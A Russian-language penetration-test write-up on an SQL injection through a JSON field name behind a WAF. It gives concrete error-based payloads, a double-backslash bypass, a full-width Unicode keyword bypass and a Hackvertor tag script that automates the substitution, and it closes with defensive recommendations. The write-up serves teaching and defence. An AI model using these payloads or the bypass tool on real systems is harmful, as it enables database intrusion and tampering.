Один из запросов к API выглядел так:
POST /webapi/...WithPagination HTTP/1.1
Content-Type: application/json
{
"PageNo": 1,
"PageSize": 20,
"SortOrder": "DESC",
"TabFilter": {
"StagePendingWith": "TEST"
},
"RequestType": "..."
}
Имя поля из
TabFilter шло в динамический WHERE без whitelisting’а и параметризации, так что его можно было превратить в часть SQL-выражения:"TabFilter": {
"StagePendingWithI like '%' and 1=convert(INT,@@version)) --": "TEST"
}Перед приложением стоял WAF, который блокировал конструкции вроде
and 1=1 и ключевые слова select, union, version, convert, exec, cast и т.п., возвращая страницу «Web Page Blocked». Однако сигнатура для and 1=1 оказалась чувствительна к точному тексту. Мы отправили вариант, в котором просто добавлен двойной бэкслэш: "StagePendingWithI like '%' and\\1=convert(INT,@@version)) --": "TEST"
Правило WAF для блокировки
and 1=1 не сработало, когда в HTTP-теле встретилась строка and\\1=.... После разбора JSON комбинация слэшей интерпретировалась иначе, и до SQL-сервера дошло валидное and 1=convert(INT,@@version).Что касается блокировки ключевых слов по «чёрному списку», её можно обойти приёмом Unicode Normalization, используя таблицу эквивалентных Unicode-символов. Например, можно заменить обычную
n (U+006E) на широкую n (U+FF4E):and\\1=convert(INT,version())
Для WAF это уже не
version из чёрного списка, а другая строка version, и сигнатура не сработала. Дальше строка попала в приложение, где при нормализации Unicode «широкие» символы превратились в обычные ASCII. В итоге до SQL-сервера доехало привычное version и выражение выполнилось. Ответ сервера содержал ошибку:> Conversion failed when converting the nvarchar value
> 'Microsoft SQL Server 2019 (RTM-CU32-GDR) …'
> to data type int.
Таким образом, наш error-based payload отработал, и мы узнали версию СУБД за WAF’ом.
Чтобы не подбирать варианты вручную, мы написали кастомный тег для Hackvertor, автоматически подменяющий часто используемые символы на full-width/Unicode-аналоги. Инструмент заметно ускоряет генерацию payload’ов под конкретный WAF, не жертвуя читаемостью. Фрагмент кода тега:
convert = {
u'n': u'\uff4e',
u'N': u'\uff2e',
u's': u'\uff53',
u'S': u'\uff33',
u'o': u'\uff4f',
u'O': u'\uff2f',
u'.': u'\uff0e',
}
output = u"".join(convert.get(ch, ch) for ch in input)SQL-инъекция в таком API позволяет не только прочитать версию SQL-сервера. В зависимости от прав учётной записи БД можно выполнять произвольные запросы и менять данные, вызывать системные процедуры и функции (например, для доступа к файловой системе или сетевым ресурсам) и развивать атаку до RCE и lateral movement (через xp_cmdshell, linked servers, UNC-пути и т.п.).
Ключевые меры защиты:
— Параметризация запросов и строгий whitelist имён полей. Имя колонок не должно приходить “как есть” из внешнего JSON.
— Минимальные привилегии учётной записи SQL Server.
— Корректная настройка WAF: нормализация Unicode до применения сигнатур и, по возможности, контекстный анализ (SQL-parsing), а не только поиск подстрок.
— Интеграция проверок в SSDLC: code review, SAST/DAST и регулярные пентесты для критичных API.
Этот кейс хорошо показывает, что даже при наличии WAF основная проблема — небезопасная логика SQL, а простые blacklist-подходы легко обходятся экранированием и особенностями Unicode.